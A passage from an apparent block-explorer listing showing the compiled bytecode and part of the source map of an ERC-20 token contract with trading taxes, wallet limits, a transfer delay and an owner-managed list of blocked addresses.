8901935060005b81811015611ef35784516001600160a01b031683529383019391830191600101611ece565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208039ad88cd35e46cf5bafcf9d516d05d1112133b4ed524b2bb3a4ced76bef8d964736f6c63430008130033
Deployed Bytecode
0x60806040526004361061016a5760003560e01c8063751039fc116100d15780639e78fb4f1161008a578063c876d0b911610064578063c876d0b91461043c578063c9567bf914610456578063d34628cc1461046b578063dd62ed3e1461048b57600080fd5b80639e78fb4f146103f1578063a9059cbb14610406578063bf474bed1461042657600080fd5b8063751039fc146103475780637d1db4a51461035c5780637fa787ba146103725780638da5cb5b146103875780638f9a55c0146103af57806395d89b41146103c557600080fd5b806331c2d8471161012357806331c2d847146102665780633bbac57914610288578063617fe0ed146102c157806370a08231146102e2578063715018a614610318578063722b62ad1461032d57600080fd5b806306fdde0314610176578063095ea7b3146101bb5780630faee56f146101eb57806318160ddd1461020f57806323b872dd14610224578063313ce5671461024457600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600a8152692a292aa6a81021a7a4a760b11b60208201525b6040516101b29190611a59565b60405180910390f35b3480156101c757600080fd5b506101db6101d6366004611acc565b6104d1565b60405190151581526020016101b2565b3480156101f757600080fd5b5061020160125481565b6040519081526020016101b2565b34801561021b57600080fd5b506102016104e8565b34801561023057600080fd5b506101db61023f366004611af8565b610509565b34801561025057600080fd5b5060095b60405160ff90911681526020016101b2565b34801561027257600080fd5b50610286610281366004611b4f565b610572565b005b34801561029457600080fd5b506101db6102a3366004611c14565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102cd57600080fd5b506014546101db90600160b81b900460ff1681565b3480156102ee57600080fd5b506102016102fd366004611c14565b6001600160a01b031660009081526001602052604090205490565b34801561032457600080fd5b50610286610611565b34801561033957600080fd5b506016546102549060ff1681565b34801561035357600080fd5b50610286610685565b34801561036857600080fd5b50610201600f5481565b34801561037e57600080fd5b50610286610741565b34801561039357600080fd5b506000546040516001600160a01b0390911681526020016101b2565b3480156103bb57600080fd5b5061020160105481565b3480156103d157600080fd5b5060408051808201909152600381526211129560ea1b60208201526101a5565b3480156103fd57600080fd5b506102866107e3565b34801561041257600080fd5b506101db610421366004611acc565b610a3a565b34801561043257600080fd5b5061020160115481565b34801561044857600080fd5b506006546101db9060ff1681565b34801561046257600080fd5b50610286610a47565b34801561047757600080fd5b50610286610486366004611b4f565b610c2b565b34801561049757600080fd5b506102016104a6366004611c31565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006104de338484610cbd565b5060015b92915050565b60006104f66009600a611d64565b61050490633b9aca00611d73565b905090565b6000610516848484610de2565b610568843361056385604051806060016040528060288152602001611f15602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611457565b610cbd565b5060019392505050565b6000546001600160a01b031633146105a55760405162461bcd60e51b815260040161059c90611d8a565b60405180910390fd5b60005b815181101561060d576000600460008484815181106105c9576105c9611dbf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060581611dd5565b9150506105a8565b5050565b6000546001600160a01b0316331461063b5760405162461bcd60e51b815260040161059c90611d8a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106af5760405162461bcd60e51b815260040161059c90611d8a565b6106bb6009600a611d64565b6106c990633b9aca00611d73565b600f556106d86009600a611d64565b6106e690633b9aca00611d73565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107206009600a611d64565b61072e90633b9aca00611d73565b60405190815260200160405180910390a1565b6000546001600160a01b0316331461076b5760405162461bcd60e51b815260040161059c90611d8a565b600047116107b45760405162461bcd60e51b815260206004820152601660248201527522a92199181d1037379022aa24103a379031b632b0b960511b604482015260640161059c565b60405133904780156108fc02916000818181858888f193505050501580156107e0573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461080d5760405162461bcd60e51b815260040161059c90611d8a565b601454600160a01b900460ff16156108615760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161059c565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108aa90309061089c6009600a611d64565b61056390633b9aca00611d73565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109219190611dee565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610983573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a79190611dee565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a189190611dee565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006104de338484610de2565b6000546001600160a01b03163314610a715760405162461bcd60e51b815260040161059c90611d8a565b601454600160a01b900460ff1615610ac55760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161059c565b6013546001600160a01b031663f305d7194730610ae46009600a611d64565b610af2906335a4e900611d73565b600080610b076000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b6f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b949190611e0b565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610bed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c119190611e39565b506014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b03163314610c555760405162461bcd60e51b815260040161059c90611d8a565b60005b815181101561060d57600160046000848481518110610c7957610c79611dbf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610cb581611dd5565b915050610c58565b6001600160a01b038316610d1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059c565b6001600160a01b038216610d805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059c565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610e465760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059c565b6001600160a01b038216610ea85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059c565b60008111610f0a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059c565b601454600160b01b900460ff161580610f2c5750601454600160a81b900460ff165b15610f4157610f3c838383611491565b505050565b6001600160a01b03831660009081526003602052604081205460ff16610f6f6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610f9e57506000546001600160a01b03858116911614155b15611443576001600160a01b03851660009081526004602052604090205460ff16158015610fe557506001600160a01b03841660009081526004602052604090205460ff16155b610fee57600080fd5b61101a6064611014600b54600e54116110095760075461100d565b6009545b8690611525565b906115ae565b60065490925060ff1615611102576013546001600160a01b0385811691161480159061105457506014546001600160a01b03858116911614155b15611102573260009081526005602052604090205443116110ef5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161059c565b3260009081526005602052604090204390555b6014546001600160a01b0386811691161480156111285750601454600160b81b900460ff165b801561114d57506001600160a01b03841660009081526003602052604090205460ff16155b156111d9576001600160a01b03841660009081526015602052604090205442116111af5760405162461bcd60e51b815260206004820152601360248201527262757920436f6f6c646f776e2065786973747360681b604482015260640161059c565b6016546111bf9060ff1642611e5b565b6001600160a01b0385166000908152601560205260409020555b6014546001600160a01b03868116911614801561120457506013546001600160a01b03858116911614155b801561122957506001600160a01b03841660009081526003602052604090205460ff16155b1561131157600f548311156112805760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161059c565b601054836112a3866001600160a01b031660009081526001602052604090205490565b6112ad9190611e5b565b11156112fb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161059c565b600e805490600061130b83611dd5565b91905055505b6014546001600160a01b03858116911614801561133757506001600160a01b0385163014155b15611364576113616064611014600c54600e54116113575760085461100d565b600a548690611525565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561139b57506014546001600160a01b038681169116145b80156113b05750601454600160b01b900460ff165b80156113bf5750600d54600e54115b80156113e457506001600160a01b03861660009081526003602052604090205460ff16155b801561140957506001600160a01b03851660009081526003602052604090205460ff16155b1561144157601154811115611435576114356114308561142b846012546115f0565b6115f0565b611605565b4761143f4761177f565b505b505b61145085858584866117bd565b5050505050565b6000818484111561147b5760405162461bcd60e51b815260040161059c9190611a59565b5060006114888486611e6e565b95945050505050565b6001600160a01b0383166000908152600160205260409020546114b490826117f2565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546114e39082611834565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611f3d83398151915290610dd59085815260200190565b600082600003611537575060006104e2565b60006115438385611d73565b9050826115508583611e81565b146115a75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161059c565b9392505050565b60006115a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611893565b60008183116115ff57826115a7565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061164d5761164d611dbf565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ca9190611dee565b816001815181106116dd576116dd611dbf565b6001600160a01b0392831660209182029290920101526013546117039130911684610cbd565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061173c908590600090869030904290600401611ea3565b600060405180830381600087803b15801561175657600080fd5b505af115801561176a573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561060d573d6000803e3d6000fd5b8482156117d4576117cf8185846118c1565b6117de565b6117de8683611940565b6117ea868686856119ab565b505050505050565b60006115a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611457565b6000806118418385611e5b565b9050838110156115a75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161059c565b600081836118b45760405162461bcd60e51b815260040161059c9190611a59565b5060006114888486611e81565b60006118cd8284611e5b565b6001600160a01b0385166000908152600160205260409020549091506118f39082611834565b6001600160a01b038516600081815260016020526040908190209290925590513090600080516020611f3d833981519152906119329085815260200190565b60405180910390a350505050565b801561060d57306000908152600160205260409020546119609082611834565b30600081815260016020526040908190209290925590516001600160a01b03841690600080516020611f3d8339815191529061199f9085815260200190565b60405180910390a35050565b6001600160a01b0384166000908152600160205260409020546119ce90836117f2565b6001600160a01b038516600090815260016020526040902055611a136119f483836117f2565b6001600160a01b03851660009081526001602052604090205490611834565b6001600160a01b038085166000818152600160205260409020929092558516600080516020611f3d833981519152611a4b85856117f2565b604051908152602001611932565b600060208083528351808285015260005b81811015611a8657858101830151858201604001528201611a6a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107e057600080fd5b8035611ac781611aa7565b919050565b60008060408385031215611adf57600080fd5b8235611aea81611aa7565b946020939093013593505050565b600080600060608486031215611b0d57600080fd5b8335611b1881611aa7565b92506020840135611b2881611aa7565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b6257600080fd5b823567ffffffffffffffff80821115611b7a57600080fd5b818501915085601f830112611b8e57600080fd5b813581811115611ba057611ba0611b39565b8060051b604051601f19603f83011681018181108582111715611bc557611bc5611b39565b604052918252848201925083810185019188831115611be357600080fd5b938501935b82851015611c0857611bf985611abc565b84529385019392850192611be8565b98975050505050505050565b600060208284031215611c2657600080fd5b81356115a781611aa7565b60008060408385031215611c4457600080fd5b8235611c4f81611aa7565b91506020830135611c5f81611aa7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611cbb578160001904821115611ca157611ca1611c6a565b80851615611cae57918102915b93841c9390800290611c85565b509250929050565b600082611cd2575060016104e2565b81611cdf575060006104e2565b8160018114611cf55760028114611cff57611d1b565b60019150506104e2565b60ff841115611d1057611d10611c6a565b50506001821b6104e2565b5060208310610133831016604e8410600b8410161715611d3e575081810a6104e2565b611d488383611c80565b8060001904821115611d5c57611d5c611c6a565b029392505050565b60006115a760ff841683611cc3565b80820281158282048414176104e2576104e2611c6a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611de757611de7611c6a565b5060010190565b600060208284031215611e0057600080fd5b81516115a781611aa7565b600080600060608486031215611e2057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611e4b57600080fd5b815180151581146115a757600080fd5b808201808211156104e2576104e2611c6a565b818103818111156104e2576104e2611c6a565b600082611e9e57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ef35784516001600160a01b031683529383019391830191600101611ece565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208039ad88cd35e46cf5bafcf9d516d05d1112133b4ed524b2bb3a4ced76bef8d964736f6c63430008130033
Deployed Bytecode Sourcemap
3888:11601:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6082:83;;;;;;;;;;-1:-1:-1;6152:5:0;;;;;;;;;;;;-1:-1:-1;;;6152:5:0;;;;6082:83;;;;;;;:::i;:::-;;;;;;;;6965:186;;;;;;;;;;-1:-1:-1;6965:186:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6965:186:0;1162:187:1;5177:55:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;5177:55:0;1354:177:1;6359:95:0;;;;;;;;;;;;;:::i;7159:446::-;;;;;;;;;;-1:-1:-1;7159:446:0;;;;;:::i;:::-;;:::i;6268:83::-;;;;;;;;;;-1:-1:-1;4728:1:0;6268:83;;;2169:4:1;2157:17;;;2139:36;;2127:2;2112:18;6268:83:0;1997:184:1;14049:168:0;;;;;;;;;;-1:-1:-1;14049:168:0;;;;;:::i;:::-;;:::i;:::-;;14225:86;;;;;;;;;;-1:-1:-1;14225:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;14296:7:0;14272:4;14296:7;;;:4;:7;;;;;;;;;14225:86;5430:38;;;;;;;;;;-1:-1:-1;5430:38:0;;;;-1:-1:-1;;;5430:38:0;;;;;;6462:119;;;;;;;;;;-1:-1:-1;6462:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6555:18:0;6528:7;6555:18;;;:9;:18;;;;;;;6462:119;2919:148;;;;;;;;;;;;;:::i;5533:38::-;;;;;;;;;;-1:-1:-1;5533:38:0;;;;;;;;13568:201;;;;;;;;;;;;;:::i;4986:56::-;;;;;;;;;;;;;;;;15261:188;;;;;;;;;;;;;:::i;2705:79::-;;;;;;;;;;-1:-1:-1;2743:7:0;2770:6;2705:79;;-1:-1:-1;;;;;2770:6:0;;;3842:51:1;;3830:2;3815:18;2705:79:0;3696:203:1;5049:58:0;;;;;;;;;;;;;;;;6173:87;;;;;;;;;;-1:-1:-1;6245:7:0;;;;;;;;;;;;-1:-1:-1;;;6245:7:0;;;;6173:87;;14319:456;;;;;;;;;;;;;:::i;6589:192::-;;;;;;;;;;-1:-1:-1;6589:192:0;;;;;:::i;:::-;;:::i;5114:56::-;;;;;;;;;;;;;;;;4268:40;;;;;;;;;;-1:-1:-1;4268:40:0;;;;;;;;14783:470;;;;;;;;;;;;;:::i;13877:164::-;;;;;;;;;;-1:-1:-1;13877:164:0;;;;;:::i;:::-;;:::i;6789:168::-;;;;;;;;;;-1:-1:-1;6789:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6922:18:0;;;6895:7;6922:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6789:168;6965:186;7065:4;7082:39;332:10;7105:7;7114:6;7082:8;:39::i;:::-;-1:-1:-1;7139:4:0;6965:186;;;;;:::o;6359:95::-;6412:7;4784:15;4728:1;4784:2;:15;:::i;:::-;4771:28;;:10;:28;:::i;:::-;6432:14;;6359:95;:::o;7159:446::-;7291:4;7308:36;7318:6;7326:9;7337:6;7308:9;:36::i;:::-;7355:220;7378:6;332:10;7426:138;7482:6;7426:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7426:19:0;;;;;;:11;:19;;;;;;;;332:10;7426:33;;;;;;;;;;:37;:138::i;:::-;7355:8;:220::i;:::-;-1:-1:-1;7593:4:0;7159:446;;;;;:::o;14049:168::-;2832:6;;-1:-1:-1;;;;;2832:6:0;332:10;2832:22;2824:67;;;;-1:-1:-1;;;2824:67:0;;;;;;;:::i;:::-;;;;;;;;;14124:6:::1;14119:91;14140:6;:13;14136:1;:17;14119:91;;;14193:5;14175:4;:15;14180:6;14187:1;14180:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;14175:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;14175:15:0;:23;;-1:-1:-1;;14175:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14155:3;::::1;::::0;::::1;:::i;:::-;;;;14119:91;;;;14049:168:::0;:::o;2919:148::-;2832:6;;-1:-1:-1;;;;;2832:6:0;332:10;2832:22;2824:67;;;;-1:-1:-1;;;2824:67:0;;;;;;;:::i;:::-;3026:1:::1;3010:6:::0;;2989:40:::1;::::0;-1:-1:-1;;;;;3010:6:0;;::::1;::::0;2989:40:::1;::::0;3026:1;;2989:40:::1;3057:1;3040:19:::0;;-1:-1:-1;;;;;;3040:19:0::1;::::0;;2919:148::o;13568:201::-;2832:6;;-1:-1:-1;;;;;2832:6:0;332:10;2832:22;2824:67;;;;-1:-1:-1;;;2824:67:0;;;;;;;:::i;:::-;4784:15:::1;4728:1;4784:2;:15;:::i;:::-;4771:28;::::0;:10:::1;:28;:::i;:::-;13622:12;:22:::0;4784:15:::1;4728:1;4784:2;:15;:::i;:::-;4771:28;::::0;:10:::1;:28;:::i;:::-;13655:14;:24:::0;13690:20:::1;:28:::0;;-1:-1:-1;;13690:28:0::1;::::0;;13734:27:::1;4784:15;4728:1;-1:-1:-1::0;4784:15:0::1;:::i;:::-;4771:28;::::0;:10:::1;:28;:::i;:::-;13734:27;::::0;1500:25:1;;;1488:2;1473:18;13734:27:0::1;;;;;;;13568:201::o:0;15261:188::-;2832:6;;-1:-1:-1;;;;;2832:6:0;332:10;2832:22;2824:67;;;;-1:-1:-1;;;2824:67:0;;;;;;;:::i;:::-;15351:1:::1;15327:21;:25;15319:60;;;::::0;-1:-1:-1;;;15319:60:0;;6820:2:1;15319:60:0::1;::::0;::::1;6802:21:1::0;6859:2;6839:18;;;6832:30;-1:-1:-1;;;6878:18:1;;;6871:52;6940:18;;15319:60:0::1;6618:346:1::0;15319:60:0::1;15390:51;::::0;15398:10:::1;::::0;15419:21:::1;15390:51:::0;::::1;;;::::0;::::1;::::0;;;15419:21;15398:10;15390:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;15261:188::o:0;14319:456::-;2832:6;;-1:-1:-1;;;;;2832:6:0;332:10;2832:22;2824:67;;;;-1:-1:-1;;;2824:67:0;;;;;;;:::i;:::-;14380:11:::1;::::0;-1:-1:-1;;;14380:11:0;::::1;;;14379:12;14371:48;;;::::0;-1:-1:-1;;;14371:48:0;;7171:2:1;14371:48:0::1;::::0;::::1;7153:21:1::0;7210:2;7190:18;;;7183:30;-1:-1:-1;;;7229:18:1;;;7222:53;7292:18;;14371:48:0::1;6969:347:1::0;14371:48:0::1;14432:15;:104:::0;;-1:-1:-1;;;;;;14432:104:0::1;14483:42;14432:104:::0;;::::1;::::0;;;14549:58:::1;::::0;14566:4:::1;::::0;4784:15:::1;4728:1;4784:2;:15;:::i;:::-;4771:28;::::0;:10:::1;:28;:::i;14549:58::-;14654:15;;;;;;;;;-1:-1:-1::0;;;;;14654:15:0::1;-1:-1:-1::0;;;;;14654:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14636:55:0::1;;14714:4;14734:15;;;;;;;;;-1:-1:-1::0;;;;;14734:15:0::1;-1:-1:-1::0;;;;;14734:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14636:131;::::0;-1:-1:-1;;;;;;14636:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7807:15:1;;;14636:131:0::1;::::0;::::1;7789:34:1::0;7859:15;;7839:18;;;7832:43;7724:18;;14636:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14620:13;:147:::0;;-1:-1:-1;;;;;;14620:147:0::1;-1:-1:-1::0;;;;;14620:147:0;;;::::1;::::0;;;::::1;::::0;;14319:456::o;6589:192::-;6692:4;6709:42;332:10;6733:9;6744:6;6709:9;:42::i;14783:470::-;2832:6;;-1:-1:-1;;;;;2832:6:0;332:10;2832:22;2824:67;;;;-1:-1:-1;;;2824:67:0;;;;;;;:::i;:::-;14845:11:::1;::::0;-1:-1:-1;;;14845:11:0;::::1;;;14844:12;14836:48;;;::::0;-1:-1:-1;;;14836:48:0;;7171:2:1;14836:48:0::1;::::0;::::1;7153:21:1::0;7210:2;7190:18;;;7183:30;-1:-1:-1;;;7229:18:1;;;7222:53;7292:18;;14836:48:0::1;6969:347:1::0;14836:48:0::1;14897:15;::::0;-1:-1:-1;;;;;14897:15:0::1;:31;14936:21;14981:4;4853:15;4728:1;4853:2;:15;:::i;:::-;4841:27;::::0;:9:::1;:27;:::i;:::-;15023:1;15039::::0;15055:7:::1;2743::::0;2770:6;-1:-1:-1;;;;;2770:6:0;;2705:79;15055:7:::1;14897:206;::::0;::::1;::::0;;;-1:-1:-1;;;;;;14897:206:0;;;-1:-1:-1;;;;;8245:15:1;;;14897:206:0::1;::::0;::::1;8227:34:1::0;8277:18;;;8270:34;;;;8320:18;;;8313:34;;;;8363:18;;;8356:34;8427:15;;;8406:19;;;8399:44;15077:15:0::1;8459:19:1::0;;;8452:35;8161:19;;14897:206:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;15123:13:0::1;::::0;15154:15:::1;::::0;15116:71:::1;::::0;-1:-1:-1;;;15116:71:0;;-1:-1:-1;;;;;15154:15:0;;::::1;15116:71;::::0;::::1;8983:51:1::0;-1:-1:-1;;9050:18:1;;;9043:34;15123:13:0;::::1;::::0;-1:-1:-1;15116:29:0::1;::::0;8956:18:1;;15116:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;15198:11:0::1;:18:::0;;-1:-1:-1;;;;15227:18:0;-1:-1:-1;;;15227:18:0;;;14783:470::o;13877:164::-;2832:6;;-1:-1:-1;;;;;2832:6:0;332:10;2832:22;2824:67;;;;-1:-1:-1;;;2824:67:0;;;;;;;:::i;:::-;13951:6:::1;13946:88;13967:5;:12;13963:1;:16;13946:88;;;14018:4;14001;:14;14006:5;14012:1;14006:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;14001:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;14001:14:0;:21;;-1:-1:-1;;14001:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13981:3;::::1;::::0;::::1;:::i;:::-;;;;13946:88;;7613:335:::0;-1:-1:-1;;;;;7706:19:0;;7698:68;;;;-1:-1:-1;;;7698:68:0;;9572:2:1;7698:68:0;;;9554:21:1;9611:2;9591:18;;;9584:30;9650:34;9630:18;;;9623:62;-1:-1:-1;;;9701:18:1;;;9694:34;9745:19;;7698:68:0;9370:400:1;7698:68:0;-1:-1:-1;;;;;7785:21:0;;7777:68;;;;-1:-1:-1;;;7777:68:0;;9977:2:1;7777:68:0;;;9959:21:1;10016:2;9996:18;;;9989:30;10055:34;10035:18;;;10028:62;-1:-1:-1;;;10106:18:1;;;10099:32;10148:19;;7777:68:0;9775:398:1;7777:68:0;-1:-1:-1;;;;;7856:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7908:32;;1500:25:1;;;7908:32:0;;1473:18:1;7908:32:0;;;;;;;;7613:335;;;:::o;8197:3439::-;-1:-1:-1;;;;;8285:18:0;;8277:68;;;;-1:-1:-1;;;8277:68:0;;10380:2:1;8277:68:0;;;10362:21:1;10419:2;10399:18;;;10392:30;10458:34;10438:18;;;10431:62;-1:-1:-1;;;10509:18:1;;;10502:35;10554:19;;8277:68:0;10178:401:1;8277:68:0;-1:-1:-1;;;;;8364:16:0;;8356:64;;;;-1:-1:-1;;;8356:64:0;;10786:2:1;8356:64:0;;;10768:21:1;10825:2;10805:18;;;10798:30;10864:34;10844:18;;;10837:62;-1:-1:-1;;;10915:18:1;;;10908:33;10958:19;;8356:64:0;10584:399:1;8356:64:0;8448:1;8439:6;:10;8431:64;;;;-1:-1:-1;;;8431:64:0;;11190:2:1;8431:64:0;;;11172:21:1;11229:2;11209:18;;;11202:30;11268:34;11248:18;;;11241:62;-1:-1:-1;;;11319:18:1;;;11312:39;11368:19;;8431:64:0;10988:405:1;8431:64:0;8511:11;;-1:-1:-1;;;8511:11:0;;;;8510:12;;:22;;-1:-1:-1;8526:6:0;;-1:-1:-1;;;8526:6:0;;;;8510:22;8506:108;;;8549:32;8564:4;8570:2;8574:6;8549:14;:32::i;:::-;8197:3439;;;:::o;8506:108::-;-1:-1:-1;;;;;8662:24:0;;8624:17;8662:24;;;:18;:24;;;;;;;;8709:7;2743;2770:6;-1:-1:-1;;;;;2770:6:0;;2705:79;8709:7;-1:-1:-1;;;;;8701:15:0;:4;-1:-1:-1;;;;;8701:15:0;;;:32;;;;-1:-1:-1;2743:7:0;2770:6;-1:-1:-1;;;;;8720:13:0;;;2770:6;;8720:13;;8701:32;8697:2867;;;-1:-1:-1;;;;;8759:10:0;;;;;;:4;:10;;;;;;;;8758:11;:24;;;;-1:-1:-1;;;;;;8774:8:0;;;;;;:4;:8;;;;;;;;8773:9;8758:24;8750:33;;;;;;8810:208;9014:3;8810:181;8874:15;;8862:9;;:27;8861:111;;8958:14;;8861:111;;;8918:12;;8861:111;8810:6;;:28;:181::i;:::-;:203;;:208::i;:::-;9039:20;;8798:220;;-1:-1:-1;9039:20:0;;9035:522;;;9120:15;;-1:-1:-1;;;;;9106:30:0;;;9120:15;;9106:30;;;;:83;;-1:-1:-1;9175:13:0;;-1:-1:-1;;;;;9161:28:0;;;9175:13;;9161:28;;9106:83;9080:462;;;9295:9;9266:39;;;;:28;:39;;;;;;9308:12;-1:-1:-1;9232:213:0;;;;-1:-1:-1;;;9232:213:0;;11600:2:1;9232:213:0;;;11582:21:1;11639:2;11619:18;;;11612:30;11678:34;11658:18;;;11651:62;11749:34;11729:18;;;11722:62;-1:-1:-1;;;11800:19:1;;;11793:40;11850:19;;9232:213:0;11398:477:1;9232:213:0;9497:9;9468:39;;;;:28;:39;;;;;9510:12;9468:54;;9080:462;9603:13;;-1:-1:-1;;;;;9595:21:0;;;9603:13;;9595:21;:60;;;;-1:-1:-1;9637:18:0;;-1:-1:-1;;;9637:18:0;;;;9595:60;:104;;;;-1:-1:-1;;;;;;9677:22:0;;;;;;:18;:22;;;;;;;;9676:23;9595:104;9573:383;;;-1:-1:-1;;;;;9764:17:0;;;;;;:13;:17;;;;;;9784:15;-1:-1:-1;9734:128:0;;;;-1:-1:-1;;;9734:128:0;;12082:2:1;9734:128:0;;;12064:21:1;12121:2;12101:18;;;12094:30;-1:-1:-1;;;12140:18:1;;;12133:49;12199:18;;9734:128:0;11880:343:1;9734:128: